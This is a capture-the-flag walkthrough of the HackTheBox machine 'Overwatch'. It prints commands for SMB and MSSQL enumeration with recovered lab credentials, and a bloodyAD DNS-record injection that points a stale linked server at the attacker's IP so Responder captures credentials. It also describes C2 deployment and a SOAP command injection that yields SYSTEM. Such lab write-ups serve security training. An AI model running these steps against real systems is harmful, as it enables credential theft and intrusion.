Overwatch

Overview

Overwatch is a Windows Active Directory machine on HackTheBox. The attack chain begins with unauthenticated SMB enumeration that exposes a monitoring software package in a world-readable share. Reverse engineering the binary with dnSPY reveals hardcoded MSSQL credentials. Connecting to the database uncovers a linked server entry (SQL07) that no longer exists in DNS - allowing us to hijack that hostname via bloodyAD's DNS record injection and coerce NTLM authentication through Responder to capture cleartext credentials for a second account. That account has WinRM access, granting a foothold and the user flag. Post-exploitation enumeration reveals a SOAP web service running locally on port 8000 (firewalled from the outside), and the source code reviewed earlier shows a command injection vulnerability in the KillProcess method. After port-forwarding the service locally and crafting a malicious SOAP request via Burp's WSDLER extension, we execute commands as SYSTEM and retrieve the root flag.

Key techniques:

SMB guest enumeration and file retrieval
.NET binary reverse engineering (dnSPY)
MSSQL linked server abuse for credential coercion
DNS record injection via bloodyAD
NTLM relay / Responder capture
WinRM lateral movement
AdaptixC2 C2 framework deployment
Seatbelt post-exploitation enumeration
SOAP/WSDL service exploitation via command injection
Port forwarding with netsh

Recon

We start with a full Nmap scan to identify open ports and running services, running a default script scan alongside a full port sweep to ensure nothing is missed.

sudo nmap -sC -sV -vv -oA tcp 10.129.244.81; sudo nmap -sC -sV -vv -p- -oA allports 10.129.244.81

The scan reveals standard Windows/AD ports (SMB, WinRM, MSSQL on a non-default port 6520), which gives us clear initial footholds to investigate.

SMB Enumeration

We enumerate SMB shares using nxc (NetExec) with a guest (unauthenticated) session to see what's accessible without credentials.

nxc smb 10.129.244.81 -u "guest" -p "" --shares

The output shows a non-standard share named software$ containing a Monitorig directory (note the typo). This share is readable by guest, making it an immediate target for file retrieval.

Downloading the Monitoring Software

We use impacket-smbclient to recursively download all files from the software$/Monitorig share. This gives us the monitoring application binary for local analysis.

Reverse Engineering with dnSPY

We load the downloaded .NET executable into dnSPY, a .NET debugger and decompiler. Inspecting the source reveals a hardcoded connection string containing MSSQL credentials in plaintext.

Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;

The application connects to a local MSSQL instance using the sqlsvc service account. Since MSSQL is also exposed externally on port 6520, we can use these credentials directly against the target.

MSSQL Enumeration and Linked Server Discovery

We connect to the MSSQL instance using impacket-mssqlclient and begin enumerating the database environment.

impacket-mssqlclient sqlsvc:[email protected] -port 6520 -windows-auth

The database has a linked server configured pointing to SQL07. Linked servers allow one SQL Server instance to execute queries on another. Crucially, they often authenticate using stored credentials or the requesting account's NTLM hash - which we can abuse.

BloodHound Enumeration

We run BloodHound CE to map the Active Directory environment and identify attack paths.

bloodhound-ce-python -c All -u sqlsvc -p TI0LKcfHzZw1Vv -d overwatch.htb -dc S200401.overwatch.htb -ns 10.129.244.81

SQL07 does not appear in the BloodHound output, indicating the machine has likely been decommissioned but its linked server entry was never cleaned up. This is a key observation - if SQL07 has no DNS record, we can register one ourselves.

Checking Writable AD Objects with bloodyAD

Before injecting a DNS record, we verify that sqlsvc has sufficient privileges to create DNS records in Active Directory.

bloodyAD -d overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv --dc-ip 10.129.244.81 get writable

The output confirms sqlsvc can write DNS records - a common permission for service accounts in environments running Windows DNS integrated with AD.

DNS Record Injection

We register a new DNS A record for SQL07 pointing to our attacker machine. When MSSQL attempts to resolve SQL07 to send authentication, it will reach us instead.

bloodyAD -u sqlsvc -p TI0LKcfHzZw1Vv --host 10.129.244.81 add dnsRecord SQL07 10.10.15.141

Credential Capture via Responder

With Responder running to intercept incoming authentication attempts, we force the MSSQL instance to authenticate to SQL07 by traversing the linked server from our session.

use_link SQL07

Because the linked server is configured to pass credentials, MSSQL initiates an NTLM authentication to our Responder listener. Responder captures the exchange and, depending on configuration, may recover cleartext credentials rather than just a hash.

We capture cleartext credentials for a second account - a significant escalation from our initial sqlsvc access.

Foothold

Credential Validation

We validate the newly captured credentials against the target using nxc to confirm they are active and determine what services they can access.

The credentials are valid. We then check group memberships for this account.

WinRM Access

sqlmgmnt is a member of the Remote Management Users group, which grants the ability to connect via Windows Remote Management (WinRM) on port 5985.

We use evil-winrm (or equivalent) to establish an interactive PowerShell session on the target.

We now have a shell on the box and retrieve the user flag. Since Windows Defender is not active on this machine, we can deploy tooling freely.

C2 Agent Deployment

We stage and execute an AdaptixC2 agent on the target to get a more stable and feature-rich session for post-exploitation work. The absence of AV/EDR means we can drop the agent without needing to obfuscate or pack it.

Command Injection Vulnerability Identified

Revisiting the dnSPY decompilation from earlier, we examine the KillProcess function in the monitoring software. It constructs a shell command by directly interpolating user-supplied input without sanitization - a classic command injection vulnerability.

This function appears to be exposed via a service running on the machine. We note the process context it runs under to understand the privilege level we can gain.

Process Context Enumeration

We check what user account the monitoring service process is running under. It is running as a different (higher-privileged) user than our current session, making this an attractive escalation target.

Seatbelt Enumeration

We run Seatbelt - a C# post-exploitation enumeration tool - to gather detailed information about the system configuration, installed software, scheduled tasks, firewall rules, and more.

Seatbelt reveals a Windows Firewall rule blocking inbound connections to port 8000. This explains why Nmap didn't surface the service - it's only accessible from within the machine (localhost).

Service Discovery via netsh

We use netsh to inspect the network configuration and identify which services are listening locally on port 8000.

This confirms a locally bound service on port 8000 that we need to tunnel through our existing session to interact with from our attacker machine.

Privilege Escalation

Port Forwarding

We forward port 8000 from the target to our local machine through our existing session, making the internal service reachable in our browser and tools.

WSDL Service Discovery

Accessing the forwarded port reveals a SOAP web service with a WSDL (Web Services Description Language) endpoint, which describes all available methods and their parameters.

The WSDL exposes the KillProcess method - the same function we identified as vulnerable during code review.

Exploiting Command Injection via Burp WSDLER

We use Burp Suite with the WSDLER extension to automatically parse the WSDL and generate a valid SOAP request for KillProcess. We then inject a command into the process name parameter.

Our payload downloads the AdaptixC2 agent binary from our attacker machine and writes it to C:\Windows\Tasks\a.exe - a location that is typically writable and less scrutinized.

SYSTEM Shell

We craft a second SOAP request to execute C:\Windows\Tasks\a.exe, launching our agent in the context of the service account - which runs as SYSTEM.

The AdaptixC2 console shows a new beacon checking in with NT AUTHORITY\SYSTEM privileges. We navigate to the Administrator's Desktop and retrieve the root flag.